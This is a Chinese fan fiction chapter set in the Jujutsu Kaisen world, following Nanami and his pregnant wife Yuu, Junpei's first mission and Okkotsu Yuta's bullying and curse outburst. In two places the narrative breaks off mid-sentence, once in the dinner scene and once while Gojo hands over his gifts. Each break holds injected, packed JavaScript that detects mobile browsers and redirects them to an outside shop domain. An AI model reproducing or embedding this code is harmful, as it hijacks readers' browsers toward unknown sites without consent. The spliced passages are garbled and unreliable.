悠比平时醒得早一些。 她躺在床上没动,侧身看着还在睡的七海——他睡觉的姿势很规矩,平躺着,呼吸均匀。 晨光从窗帘缝隙漏进来,落在他脸上,让那张平时过于严肃的脸柔和了许多。 她悄悄把手放在小腹上。 最近几天,她眼中的那些线条越来越清晰了。 不再是模糊的光晕,而是有了明确的形状——小小的身体蜷缩着,一只手轻轻动了一下,像是在伸懒腰。 那些线条勾勒出的轮廓纤细而柔和,和她自己的线条流动方式有种奇妙的相似。 “小姑娘?”她轻声说,声音里带着自己都没察觉的温柔。 腹中的小家伙仿佛听到了,线条轻轻摆动了一下。 就在这时,七海醒了。 他几乎是立刻察觉到悠醒着,侧过头:“怎么了?不舒服?” 他的声音还带着刚睡醒的低哑,手已经自然地伸过来,掌心贴上她的额头——测体温,这是他从她怀孕后养成的习惯。 “没有不舒服。”悠握住他的手,拉到小腹上,“七海海,我看到了。” 七海的手掌温热,隔着睡衣也能感受到那份安稳的力量。 他撑起身体,眼镜还没戴,眼神比平时少了些锐利,多了些关切和柔和:“看到什么?” “宝宝的线条。”悠的眼睛亮晶晶的,“很清晰了……是个女孩。” 七海的动作停住了。 他保持着半撑起身的姿势,手还贴在她的腹部,整个人像是被按了暂停键。 几秒钟后,他才慢慢眨了下眼睛,声音很轻:“女孩?” “嗯。”悠拉着他的手,让他更真切地感受那里的隆起和微动,“线条很温柔,像春天刚长出来的嫩芽。” 七海没说话。 他轻轻掀开被子,坐起身,弯腰把脸贴近她的腹部。 这个动作让悠有点意外——七海很少做这么直接表达情感的事。 “七海海?”她小声叫他。 七海抬起头,重新躺回她身边,伸手把她连人带被子一起揽进怀里。 他的下巴抵在她发顶,手臂环得很紧,但小心地避开了腹部。 “是个女儿。”他在她头顶说,声音有点闷。 “你不高兴吗?” “高兴。”七海回答得很干脆,手臂又紧了紧,“但是……” 他顿了顿,把她转过来面对自己,很认真地看她的眼睛:“悠,比起孩子,我更担心你。” 悠愣住了。 “怀孕很辛苦,生产有风险。”七海说这些话时表情很严肃,手指轻轻擦过她的脸颊,“我查过数据,即使在最好的医疗条件下,孕产妇的并发症风险也有——” “七海海。”悠打断他,伸手捂住他的嘴,“我知道。但我也知道,有你在,我和宝宝都会好好的。” 她把他的手拉过来,放在自己脸颊上:“而且你看,我最近气色是不是很好?吃得下睡得着,连孕吐都很少。这说明宝宝很乖,知道心疼妈妈。” 七海盯着她看了很久,眼神里有太多复杂的东西——担忧、温柔、决心,还有那种让悠心跳加速的专注。 最后,他叹了口气,低头吻了吻她的额头:“有任何不舒服,立刻告诉我。” “知道啦~”悠笑着往他怀里钻,“那现在,爸爸要不要跟女儿打个招呼?” 七海的手重新覆上她的小腹,动作轻柔得不可思议。 过了一会儿,宝宝真的动了——小小的鼓包轻轻顶了一下他的手心。 七海的嘴角,非常明显地向上弯了一下。 悠看见了,心里软成一团。 她伸手搂住他的脖子:“七海海,你想好名字了吗?” “有几个备选。”七海把她圈在怀里,手指无意识地绕着她一缕头发,“但不用急,还有时间慢慢想。” “那你想让她像谁?” “像你。”七海回答得毫不犹豫,“性格像你就好。” 悠抬起头:“为什么?” “因为你很好。”七海说得理所当然,“温柔,坚强,能看到别人看不到的东西却从来不害怕。如果女儿能像你,我会很安心。” 悠的鼻子有点酸。 她把脸埋在他胸口,声音闷闷的:“七海海,你最近越来越会说话了。” “我只是说实话。” 两人就这么在床上赖了二十分钟,直到七海的手机闹钟响了。 悠有点不想起,搂着他的腰撒娇:“再躺五分钟嘛……” 七海看了看表:“最多三分钟。” “四分钟!” “三分钟半。” 最后他们又躺了四分钟,是七海妥协的。 悠胜利地笑着,他从床上起来,轻轻点了一下悠的鼻尖,转身进浴室洗漱。 上午。 五条悟今天心情特别好,哼着歌飘进训练场时,手里居然还拎着个纸袋。 “早上好呀同学们~”他朝正在训练的顺平、真希他们挥挥手,然后径直走向站在场边的七海,“哟~七海!听说咱家宝宝是个小姑娘?” 七海正在看顺平今天的训练计划,头也没抬:“顺平告诉你的?” “当然啦!这么开心的事情当然要分享!”五条悟把纸袋塞进七海手里,“给悠酱的礼物~孕妇专用按摩枕,据说对腰背特别好。还有这个——” 他又掏出一个精致的小盒子:“手工制作的孕妇安全护身符,我特意去神社求的。虽然悠酱看不见咒灵,但带着总没坏处嘛。” 七海这次没拒绝。 他接过东西,点点头:“谢谢。” “诶?”五条悟歪头,“今天这么好说话?” “悠会喜欢这些。”七海说,“而且……她最近确实腰容易酸。” 五条悟咧嘴笑了,哥俩好地搭上七海的肩:“就是嘛!对自己老婆好是天经地义的!对了对了,你们给孩子想名字了吗?要不要我帮忙?我认识一个超有名的命名师哦!” “不用。”七海把他的手从肩上拨开,“我们自己会决定。” “切,小气。”五条悟也不在意,转而看向训练场,“顺平最近进步很大嘛!你教得不错哦七海老师~” 场中,顺平和淀月的配合明显流畅了许多。 水母的触手不再僵硬地执行命令,而是像活物般灵活游走,时而防御时而攻击。 虽然还达不到完美同步,但已经有了“搭档”的雏形。 “下周带他出第一次实战任务。”七海说,“四级。” “很稳妥的选择。”五条悟难得正经地点点头,“循序渐进是对的。现在的年轻人啊,总想着一步登天,结果……” 他没说下去,但七海知道他在想什么——那些因为冒进、因为信息不足、因为低估风险而再也回不来的年轻咒术师。 五条悟伸了个懒腰,语气又轻快起来:“不过看到你现在这样,我还挺开心的。有老婆有孩子,接任务也知道量力而行。这才是生活嘛!” 他转头看七海,墨镜后的眼睛弯起来:“怎么样,结婚的感觉?” 七海推了推眼镜:“很吵。” “哈?” “悠最近喜欢半夜醒来聊天。”七海说,但语气里听不出抱怨,“说睡不着,说宝宝在动,说梦见奇怪的东西。” “然后呢?” “陪她说话,给她热牛奶,等她睡着了再睡。”七海顿了顿,“第二天会困,但……还行。” 五条悟哈哈大笑,用力拍七海的背:“你这不是挺享受的嘛!口是心非的家伙!” 七海没反驳。 他看向训练场,顺平正满头大汗但眼睛发亮地练习新招式。 这个曾经内向胆怯的少年,正在慢慢找到自己的力量。 “对了,”五条悟突然压低声音,“仙台那边……他最近怎么样?” “不太好。”七海说,“被孤立,有欺凌迹象。” 五条悟的笑容淡了些:“这样啊……” “但他很努力在控制。”七海补充,“即使被欺负,也没有让里香伤人。只是自己躲开。” “……是吗。”五条悟的声音轻下来,“那孩子,自己明明那么害怕,却还在努力不伤害别人啊。” 两人沉默了一会儿。 训练场里传来顺平和熊猫对练的呼喝声,青春而充满生命力。 “七海。” “嗯?” “好好守护你现在的生活。”五条悟说,声音很认真,“我啊,就是希望你们这些家伙都能过得好。有自己的家,有珍惜的人,不用每天都把命别在裤腰带上。” 他笑了,笑容里有七海很少见到的柔软:“这大概就是我想改变咒术界的原因吧。让后来的孩子们,能像普通人一样笑着生活。” 七海看了他一会儿,点点头:“你送的那个按摩枕,悠会喜欢的。” “对吧对吧!我就知道!”五条悟立刻又恢复了跳脱的样子,“那我走啦!下次带更好玩的礼物来!” 他哼着歌飘走了,留下七海一个人站在场边。 纸袋里的按摩枕包装得很精致,护身符的盒子还散发着淡淡的檀香味。 七海拿出手机,给悠发了条消息:【五条送了按摩枕和护身符。今晚试试。】 几乎是秒回:【五条老师真好!替我谢谢他!晚上你帮我按摩好不好?最近腰真的好酸哦……(哭哭表情)】 七海:【好。】 悠:【最爱七海海了!(爱心)】 七海看着那个爱心表情,嘴角弯了一下。 他把手机收好,重新把注意力放回训练场。 仙台。 七海这次没去咖啡馆,而是找了个更近的位置——学校围墙外的一棵大树下。 这里能看到操场全貌,又不显眼。 乙骨忧太一个人坐在操场角落的长椅上,捧着便当盒,吃得很慢。 他时不时会对着空气小声说话,脸上露出很浅的笑容,但那些笑容很快就消失了,变成一种小心翼翼的紧张和恐慌。 有几个男生从他旁边经过,故意大声说笑,其中一个还踢翻了长椅边的空饮料瓶。 乙骨低着头,把便当盒抱得更紧了些。 七海注意到,乙骨的左手一直紧紧攥着裤腿,指节发白。 他在努力控制什么——或者说,在努力不让什么失控。 监测仪上的咒力读数在轻微波动,但始终没有超过安全阈值。 七海没有拿出笔记本记录。 他只是静静看着,在心里记下几个关键点:乙骨的情绪控制能力比想象中强;里香的克制也超出预期。 他看着那个瘦弱的少年匆匆吃完剩下的便当,收拾好东西,几乎是逃跑一样离开了操场。 心里一紧。 这孩子每天都在经历这样的日常。害怕自己的不同,害怕伤害别人,所以把自己隔绝开来。 可越是隔绝,就越是被排斥。 七海想起乙骨忧太的资料:父母姊妹不亲,孤身转学来到这里,没有朋友,独来独往。 一个不知道自己被特级咒灵深爱着的少年,一个因为这份爱而被世界排斥的少年。 他给五条悟发了条简短的消息: 【乙骨今天又被找麻烦了,但他控制住了。情况暂时稳定,但长期这样对他心理健康不利,要不要介入。】 五条悟很快回复:【我知道了。我会想办法的。辛苦你了七海。】 七海收起手机,靠在树干上。 操场上,其他学生还在打闹玩耍,青春洋溢。 只有那个角落的长椅空着,像被世界遗忘了。 晚上七点,家里飘着饭菜的香味。 悠今天精神不错,闲不住特意做了七海喜欢的炖菜。 她挺着肚子在厨房和餐厅间慢慢走动,七海几次想接手都被她拒绝了。 “医生说了,适当运动对生产有好处。”悠把最后一盘菜端上桌,有点得意地笑,“而且我最近感觉闲得太久了,需要找点事情做嘛。” 话音刚落,她眉头就皱了一下,手扶住后腰。 “悠。”七海立刻站起来。 “没事没事,就是站久了有点……”悠话没说完,就被七海按着坐下了。 “吃饭。”七海说,语气不容反驳。他给她盛好饭,夹好菜,把汤碗推到她手边,“吃完给你按摩。” 悠笑眯眯地看他:“七海海,你对我真好。” “应该的。” 吃饭时,悠一直在说今天发生的琐事——邻居太太送了自己做的伴手礼,顺平来电话说训练很顺利,网购的婴儿衣服到了但尺寸好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154105|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像有点大。 七海安静听着,句句有回应。 他的炖菜吃得很干净,这是他对悠厨艺的无声夸奖。 吃完饭,悠躺在沙发上哼哼唧唧,七海去浴室拿了热毛巾,又找出五条悟送的按摩枕。 “这个枕头好像真的有用……”悠躺在按摩枕上,舒服地叹了口气。 “嗯。”七海坐在沙发边的地毯上,开始给她按摩。 他的手劲控制得很好,不会太轻没效果,也不会太重让她不舒服。 按了十几分钟,悠突然拉着七海的手放在自己肚子上:“宝宝在动,你摸摸,好用力。” 七海的手掌下,能感觉到小小的、有规律的鼓动。 一下,又一下。 “她很活泼。”七海说,声音比平时柔软。 “说不定性格像你。”悠侧躺着看他,“表面严肃,其实内心很温柔。” “……我不温柔。” “你超温柔的。”悠伸手捏他的脸,“只是不肯承认。” 七海任由她捏,只是问:“还腰酸吗?” “好多了~”悠坐起来,靠在他肩上,“七海海,你说宝宝会长得像谁?” “像你比较好。” “为什么?” “你好看。” 悠愣了愣,然后脸红了:“你、你今天怎么这么会说话……” “实话。”七海搂住她,让她靠得更舒服些,“悠,还有件事。” “嗯?” “下周三我要带顺平去川崎出任务,是四级,当天往返。”七海说,“但我不放心你一个人在家一整天。” “我又不是小孩子……” “我知道。”七海打断她,“但我想请隔壁的山本太太白天来陪你。她已经同意了,说很乐意帮忙。” 悠抬起头看他:“你什么时候联系的?” “上周。”七海推了推眼镜,“提前准备总是好的。” 悠心里暖烘烘的。 “好吧,看在你嘴这么甜的份上,”她抬起手,捏了一下七海的耳朵“任务中一定要小心。四级虽然听起来安全,但也要全力以赴。” “会的。”七海点头,“我答应过你。” 两人又聊了一会儿宝宝的事,聊到名字,聊到婴儿房的布置,聊到将来要带她去哪儿玩。 都是些琐碎平常的话题,但悠觉得,这就是幸福最真实的样子。 睡前,悠洗漱时仔细看着那些线条。 小姑娘蜷缩着像是睡着了。线条柔和地发着光,稳定而温暖。 “你要乖乖长大哦。”悠轻声说,“爸爸和妈妈都特别特别爱你。” 她回到卧室时,七海靠在床头看书——不是工作资料,是一本孕期护理指南。 看到她进来,他放下书,摘掉眼镜。 “七海海。”悠钻进被窝,习惯性地往他怀里靠。 “嗯?” “……我是说如果,”悠小声说,“将来宝宝也成了咒术师,你会怎么办?” 七海把她搂得更紧些:“我会教她如何保护自己,如何在这个世界里生存。但最重要的是……” 他低头看她:“我会让她知道,无论她选择什么路,家永远是她可以回来的地方。” 悠鼻子一酸,把脸埋在他胸口:“你一定会是个好爸爸。” “我在努力。”七海的声音从头顶传来,“悠,谢谢你。” “谢我什么?” “谢谢你让我有了家。”他说得很轻,但每一个字都清晰,“谢谢你……愿意和我一起养育这个孩子。” 悠抬起头,在昏暗的灯光里看他。 七海的表情很认真,那种认真让她心跳加速。 她凑上去,轻轻吻了他。 不是蜻蜓点水,而是温柔的、带着所有情感的吻。 七海愣了一瞬,然后回应了她。 他的手托着她的后颈,动作轻柔得像是怕碰碎什么。 吻了很久,悠才红着脸退开,小声说:“我也谢谢你,七海海。谢谢你给了我这么安稳的幸福。” 七海没说话,只是把她重新搂进怀里,关掉了床头灯。 黑暗中,他的吻落在她额头:“睡吧。明天还要去医院产检。” “嗯。晚安,七海海。” “晚安。” 仙台,乙骨忧太的房间里。 少年蜷缩在床上,眼睛睁得很大。 他对着黑暗小声说:“里香,今天……谢谢你没有出来。” 空气中渐渐显露身影的恐怖存在轻轻环抱住他。 “我知道你是为了保护我。”乙骨的声音带着哭腔,“但是……我真的好害怕。害怕你会伤害别人,害怕大家更讨厌我……” 他抱紧自己,声音越来越小:“要是……要是你没有变成这样……是不是我……”不,他怎么能这么想。 乙骨忧太回握住里香变得恐怖狰狞的双手,手指间的戒指在月光下倒映着里香狰狞的面容。 明明说好……他和里香要一辈子在一起的。 房间里只有他压抑的啜泣声,和里香一声声的“忧太”。 高专。 顺平在笔记本上认真写着今天的训练心得,旁边还画了淀月的触手攻击路线图。 写着写着,他停下笔,拿出手机看了看屏保——是他和妈妈、小姨、姨夫的合照。 照片上,妈妈和小姨笑得特别开心,姨夫虽然表情严肃,但眼神是柔和的。 “一定要变强。”顺平轻声说,“强到可以保护重要的人。” 他重新拿起笔,继续写训练计划。 而家里,七海在确认悠睡熟后,又轻轻起身去了书房。 他打开电脑,调出乙骨忧太的资料,又看了看下周川崎任务的详细档案。 【观察对象心理压力持续累积。建议在可控范围内提供适当支援,避免心理问题。】 在川崎任务档案里,他把风险评估又仔细核对了一遍,在几个可能的风险点做了额外标注。 做完这些,他关掉电脑,回到卧室。 悠睡得正熟,七海轻轻躺回她身边,小心地不惊醒她。 他在黑暗中看着她的睡颜,看了很久很久。 最后,他伸出手,很轻地覆上她放在腹部的手。 “我会守护好你们。”他在心里说。 58. 初战 六月七日,周一清晨。 顺平站在川崎市旧仓库区的入口,手心微微出汗。 他穿着高专的深色训练服,腰间的咒具袋里装着七海特意为他挑选的短刀咒具。 “紧张很正常。”七海的声音从旁边传来。 “深呼吸三次。”七海说,“然后仔细想一下任务内容。” 顺平深吸一口气,努力回忆这几天背下的资料:“四级,擅长利用仓库内的杂物制造障碍和幻觉。战斗环境复杂,需要优先清理出安全区域。” “还有呢?” “咒灵本体通常隐藏在堆积物深处,我可以用淀月进行探查。避免在狭窄空间被包围。” “很好。”七海推了推眼镜,“现在,你在入口处布下帐,防止咒灵逃脱。记得去侧面确认备用出口。五分钟后,你从正门进入。” 顺平点头,虽然只是一个四级咒灵,但是谨慎却不会有错。 他结印召唤出淀月,水母在空中缓缓展开触手,开始念咒布下帐。 “由暗而生,暗中至暗。污浊残秽,尽数祓除。” 七海检查了一遍,给出评价:“帐的强度足够,但布设速度慢了。实战中这慢掉的十七秒可能决定很多无辜群众的生死。” “对不起……” “这不是批评,头一次你做的非常不错。”七海拍拍他的肩,“下次改进就好。现在,我们进入。” 仓库内部光线昏暗,堆积如山的纸箱、废弃机械和塑料布形成诡异的阴影。 空气中飘着霉味和铁锈味,还有……咒灵特有的那种阴冷气息。 有什么东西在暗处移动,咒力残秽体量不大。 “用淀月探查。”七海的声音很平静,“别急着找本体,先熟悉环境。” 一条触手伸向左侧的货架堆,另一条探向右边的通道。 透过淀月的感知,顺平“看到”了咒力残秽的分布——主要集中在仓库深处,那里有比较强烈的负面情绪积聚。 突然,右侧的纸箱堆毫无预兆地倒塌! 那些纸箱自己“活”了过来,像潮水般涌向两人! 七海没有动。 顺平迅速让淀月展开屏障,四条触手编织成水幕挡在身前。 纸箱撞在水幕上发出闷响,但被弹开了。 “是左后方!”顺平转头。 左侧的废弃传送带突然开始转动,上面堆满的金属零件像炮弹般射来! 同步窜出,淀月分出数条触手去挡,顺平反手举起咒具。 蓝色的咒力轨迹划过。 短刀轻轻一挥,那些飞来的零件全部被精准地劈成两半,叮叮当掉落一地。 “反应不错。”七海点头,“咒术师的身体也是武器。移动起来,别站在原地当靶子。” 接下来的几分钟,多个四级咒灵不断窜出,用仓库里的杂物攻击他。 完全无视了姨夫……可恶!还是他太弱了吗! 顺平渐渐找到节奏,淀月的触手负责防御和牵制,他自己则握着短刀栖身进攻,一刀解决一个。 最后……是三点钟方向! 淀月的触手缠住货架,沿顺平进攻的轨迹清出通道。 货架的最后无路可逃的咒灵像只无头苍蝇,短刀上凝聚起咒力—— “别犹豫!”七海的声音从身后传来。 顺平一刀刺下! 尖锐的嘶叫声在仓库里回荡,那个扭曲的阴影剧烈挣扎,然后像泄了气的气球般萎缩、消散,留下慢慢消散的咒力残秽。 周围所有“活过来”的杂物瞬间失去动力,哗啦啦落了一地。 仓库恢复了安静。 顺平撑着膝盖,手在抖,但眼睛很亮——他做到了,独自祓除了咒灵。 虽然等级不高,但也是一个起点。 七海走过来,递给他一瓶水:“做得不错。多熟悉几次,就可以单独出四级任务了,慢慢来,不要心急。” “谢谢……谢谢姨夫。”顺平接过水,连续很久的训练有了作用,从以前被人欺负无力反抗,到现在‘热身运动’几个小时都不会脱力。 “顺平,刚才有三个失误。”七海说,“第一,探查时漏掉了天花板的威胁点;第二,被塑料布缠住时挣脱慢了;第三,最后一击前犹豫了,差点给了咒灵反击机会。” 他看向顺平:“知道为什么我没提醒你吗?” 顺平摇摇头。 “因为有些失误,必须自己经历过才能记住。”七海推了推眼镜,“今天的失误没有造成严重后果,是很好的学习机会。回去写份详细的战斗复盘,明天交给我。” “是!” 回程的车上,顺平回着高专大家关心任务情况的消息,七海开着车,偶尔回答他的问题。 “姨夫,”顺平突然问,“您第一次实战任务是什么样的?” 七海沉默了几秒:“也是三级任务。和灰原一起。” “灰原……是您以前的同伴?” “嗯。”七海看着前方的路,“他当时比你还紧张,但一进入战斗状态就完全不一样了。总是冲在最前面,说要保护所有人。” 他的声音很平淡,但顺平听出了一丝不一样的东西。 “那后来……” “后来他……去世了。”七海说得很直接,“因为我们一次任务评级错误,遭遇了特级咒灵‘土地神’,我们因为信息不足,因为很多原因。” 车里安静下来。 “抱、抱歉……姨夫”顺平不知道该说什么。 “所以我才教你那些。”七海继续说,“谨慎,准备,不要冒险。不是因为你不够强,是因为活着才能保护更多人。” 他看了一眼顺平:“今天的表现合格。但记住,合格只是起点。” “我明白。”顺平认真地说,“我会继续努力,虽然我的咒力不像老师一样有天赋,但我可以锻炼体术,像真希那样,强到同样可以保护小姨和……未来的妹妹。” 七海的嘴角很轻微地动了一下:“嗯。” 初次任务结束后的时间过得很快,顺平开始慢慢尝试独自接受任务,高专的众人也都在飞速的提升。 七月中旬,东京进入了潮湿闷热的雨季。 悠的预产期在八月初,现在已经进入孕晚期。 肚子隆起得明显,行动也慢了许多,但她的精神状态很好——用她自己的话说,“虽然身体重了,但心里特别踏实,总算可以见到宝宝啦”。 七海调整了工作时间,尽量把任务安排在上午,下午准时回家。 高专那边,五条悟也很配合,给七海排的都是东京周边的短期任务,最远不超过神奈川。 这天下午,外面下着淅淅沥沥的雨。 悠靠在沙发上,手里织着一条小小的婴儿毯,手法还不太熟练,但织得很认真。 七海坐在旁边的单人沙发上,面前摊着笔记本电脑。 他正在处理任务报告,但每隔十几分钟就会抬头看看悠。 “嘶──老公,”悠抽气,“宝宝今天踢得特别厉害,你要不要摸摸?” 七海放下电脑快步走过来,在沙发边蹲下,手掌贴上她的腹部。 果然,有力的胎动,一下又一下。 “她在练拳击吗?”悠笑着问。 “很健康。”七海说,手轻轻跟着胎动移动,“产检时医生也说发育得很好,但是太活跃了,不知道心疼妈妈。” “哎呀,她还什么都不懂呢。不知道性格随了谁……”悠低头看他,“七海海,你猜猜看?” “像你。” “你每次都这么说。”悠戳戳他的脸,“但万一生出来是个小七海怎么办?整天板着脸,和我们说‘不靠谱的大人’……” 七海握住她捣乱的手:“那也不错。” “诶?” “如果性格像我,”七海很认真地说,“至少不容易被骗,做事有规划,懂得保护自己。” 悠的心软成一团。 她把他的手拉到脸颊边蹭了蹭:“那她一定会很幸福。因为有这么爱她的爸爸妈妈。” 两人正说着话,门铃响了。 七海去开门,门外站着五条悟——没打伞,但身上一滴雨都没沾,显然是用了咒力挡雨。 “哟~”五条悟拎着两个大袋子挤进来,“我来看看我们的小公主准备得怎么样了!” 他脱鞋进屋,动作熟练得像回自己家。 看到悠,他立刻凑过去:“悠酱!最近怎么样?宝宝乖不乖?” “很好哦,五条老师。”悠笑着打招呼,“您怎么又带东西来……” “都是必需品!”五条悟把袋子里的东西一样样拿出来,“这个,新生儿专用体温计,精度超高!这个,防胀气奶瓶套装,据说超好用!还有这个——” 他拿出一个包装精美的盒子:“纯金的长命锁,我特意定做的。上面刻了咒文哦!” “五条,”七海在旁边开口,“太贵重了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154106|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那是给我干女儿的,有什么贵重不贵重!”五条悟理直气壮,“对了对了,我能不能当干爹啊?我保证会是个超——棒的干爹!带她去游乐园,买所有她想吃的甜品,教她怎么用咒力……” 七海面无表情:“你会教坏她。而且这是我作为爸爸的工作。” “怎么会!哈?我就知道你这个小子没憋好事——就是自己私信作祟!!我也想要小棉袄啊!” “驳回。” “切——”五条悟撇嘴,转而问悠,“悠酱觉得呢?我当干爹是不是很棒?” 悠忍着笑:“这个要问宝宝自己吧?看看她更想要几个爸爸?” “悠──是你想要几个老公?”七海面无表情。 “欸!我也不是不行~”五条悟眼睛一亮,又兴致勃勃地问,“果然早就被我的帅气打动了么?悠酱~觊觎我的美色──果然受女孩子喜欢是我的命运~” “……”悠。 “而且女儿好啊!”五条悟眼睛发亮,“小姑娘多可爱!软软的,香香的,会甜甜地叫‘干爹’……” 七海推了推眼镜:“她不会叫你干爹。” “喂!七海你不要这么小气嘛!嫉妒的男人实在丑陋!!”五条悟瘫在沙发上,“说起来,养小孩真的不容易呢。我也有个儿子,但一点也不亲近我……” 悠愣住了:“欸?!五条老师……有儿子?您结……”说到她立马停住,毕竟有点不太好。 “啊嘞!未婚一子~”五条悟得意地说,语气随意得像在说今天天气,“叫惠,伏黑惠。现在也在在读国中三年级,不过那小子整天板着脸,跟他说话也爱答不理的,一点也不可爱。” “国、国中……三年级?”悠完全震惊了。 她看看七海,果然不愧是最强吗?原来那方面也…… 七海叹了口气,差点被悠的表情逗笑解释道:“是他收养的。叫伏黑惠,咒术界御三家禅院家的孩子,有十种影法术的强大术式。机缘巧合才收养了他,……相处方式比较特别。” “什么叫特别!就是那小子不尊重我这个养父!而且!!七海海干嘛这么快解释!悠酱看起来想到了不得了的地方!”五条悟假装抹眼泪,实际上被悠貌似吃鸡蛋一样张大的嘴巴,逗的眉毛疯狂上扬“我对他多好啊,供他吃供他穿,还送他去读书,结果他见到我就说‘烦死了’……” 悠总算听明白了。 她忍不住笑起来:“那可能是因为五条老师您太……活泼了?” “活泼有什么不好!”五条悟振振有词,“小孩子就应该活泼一点!像我一样!” 他待了一个多小时,吃了半盘七海专门给悠烤的饼干,结果吐槽淡的和水一样,被七海强烈制裁谴责? 还拉着悠的袖子,像八卦的买菜大妈一样絮絮叨叨说了无数离谱的育儿建议。 “晚上哭闹就带她去看咒灵,保证吓得晕过去哭不出来。” “学走路的时候就可以练习腿力,什么体术教育要从小抓起。” 最后被七海以“悠需要休息”为由请了出去。 送走五条悟后,悠还在捧腹大笑:“五条老师真是太有趣了。” “这么开心。”七海说,“小心肚子痛。” “哼哼,明明是七海海吃醋,才赶走五条老师的啦~我可是看得出来呦~”悠摸摸肚子,骄傲的挺起胸脯“不过,你老婆我可是绝对不会三心二意的,七海海是悠酱最最最爱的人嘛──” 七海没说话,只是走到她身边,把她柔顺的头发直接揉成鸡窝头。 “欸!可恶的七海海!” 窗外的雨还在下,房间里温暖而安静。 “老公,其实”悠轻声说,“我有点怕。” “怎么回事?”七海瞬间严肃。 “我就是……怕疼,怕生产不顺利,怕……万一我有什么事——” “不会。”七海打断她,手臂收紧,“我们选择的医院是东京产科评分最高的,主治医生经验丰富,所有应急预案都准备好了。” “但是……” “没有但是。”七海低头看她,“悠,我向你保证,你和宝宝都会平安。我用我的一切保证。” 悠鼻子一酸,把脸埋在他胸口:“嗯。” “而且,”七海的声音很轻,“我预约了产房陪护。我会一直陪着你。” “可以吗?” “可以。我沟通过了。”七海说,“所以不要怕,我就在你身边。” 悠紧紧抱住他。 59. 轻蔑 六月二十日,周三傍晚。 七海刚结束一个东京市内的二级任务,手机就疯狂震动起来。 是五条悟,直接打的电话——很少见。 “七海!仙台!现在!”五条悟的声音难得严肃,“乙骨那边出事了!窗监测到特级咒力爆发,就在他学校!” 七海的心一沉:“我马上去。” “不,你先别——”电话那头传来嘈杂的声音,五条悟似乎在快速移动,“我离得更近,我先过去。你那边……做好应对准备几天。这次可能瞒不住了。” 电话挂断了。 七海站在任务现场,手里还握着刚刚祓除咒灵的咒具,沾着残秽。 黄昏的光线把天空染成橘红色,美得不真实。 他想起乙骨忧太那个瘦弱的背影,想起他拼命控制的样子,想起五条悟说“那孩子在努力不伤害别人”。 但努力,有时候是不够的。 七海给悠发了条消息,会晚点到家。 随后拨通了一个号码:“中村,麻烦立刻开车来我这里。目的地仙台,用最快速度。” “是!” 车上,七海一直盯着手机。 窗的警报信息一条接一条发来: 【17:42:仙台市立中学检测到特级咒力波动,强度持续上升】 【17:45:确认咒灵为特级过咒怨灵,代号「里香」。现场有数名普通学生受伤】 【17:48:救援人员到达现场。伤者情况严重,已紧急送医】 【17:50:咒力波动平息。目标对象乙骨忧太已控制】 控制。 这个词让七海皱起眉。 不会是五条。 是被窗控制,还是被谁控制? 车子以近乎危险的速度在高速公路上飞驰。 七海看着窗外飞速倒退的风景,手指无意识地敲击着刀柄。 他想起悠,想起她腹中的孩子,以及自己孤零零一个人的男孩。 如果今天他在仙台,如果他能更早介入,如果…… 不,没有如果。 咒术师的世界里,“如果”是最没用的词。 一小时后,车子停在仙台市立中学门口。 现场已经被封锁了,穿着制服的工作人员在忙碌,远处还能看到救护车的灯光。 学校半个楼层被掀翻,围墙倒塌了一大片,地面上有深深的裂痕——上面满是咒力留下的痕迹。 五条悟站在警戒线内,背对着他。 即使隔着一段距离,七海也能感觉到那股低气压——五条悟很少真正生气,但现在的他,光是站在那里就让人不敢靠近。 七海穿过警戒线走过去。 五条悟转过身,墨镜下的表情冷得像冰。 “七海,来了啊。”他故作轻松,“……那孩子被总监部的人带走了。我晚了一步。” “伤者呢?” “三个,重伤,在ICU。”五条悟的声音很平,“差点死了。如果不是那孩子最后拼命拉住里香,现在已经出人命了。” “原因是什么?” “放学后,那几个学生把他关在教室里,然后……”五条悟没说完,但七海了然。 长期的霸凌,终于突破了临界点。 视他为生命的爱人,怎么会容忍这种情况的发生。 “总监部那边,”七海问,“准备怎么处理? “还能怎么处理?”五条悟冷笑,“‘特级咒灵持有者’‘危险分子’‘需要立刻处决’。那些老头子,看到特级就像闻到血的鲨鱼,刚才就给我传了消息。” 他摘下墨镜,那双苍蓝色的眼睛里燃烧着冰冷的怒火:“才不会让他们得逞。那孩子……他不是故意的。只是太害怕,太绝望了。” 七海沉默地看着眼前的废墟。 他能想象出那个场景——瘦弱的少年蜷缩在教室角落,几个欺凌者围着他。 “你现在打算怎么做?”他问。 “先去总监部。”五条悟重新戴上墨镜,“跟他们‘好好谈谈’。七海,仙台这边的后续处理交给你。现场勘查,伤者情况跟进,还有……” 他顿了顿:“有些东西还需要处理。不能留给总监部的人。” “明白。” 五条悟瞬移离开了。 七海站在渐渐暗下来的天色里,开始有条不紊地工作——询问现场工作人员,查看咒力残秽记录,确认伤者送医的医院信息。 他做这些事时,脑子里却在想别的事。 如果乙骨忧太有个像悠一样能理解他的家人…… 如果那些欺凌者能早一点被制止…… 如果咒术界对没有背景的孩子多一点保护…… 果然,烂人扎堆,都是狗屎。 处理完现场工作已经是晚上九点。 七海去了乙骨现在租住的公寓——一个老旧的一居室,房间收拾得很整洁,冷清得不像有人住。 他在书桌上找到了一本日记。 没有打开看,而是直接收了起来。 衣柜里有几件洗得发白的校服,冰箱里只有水和速食食品。 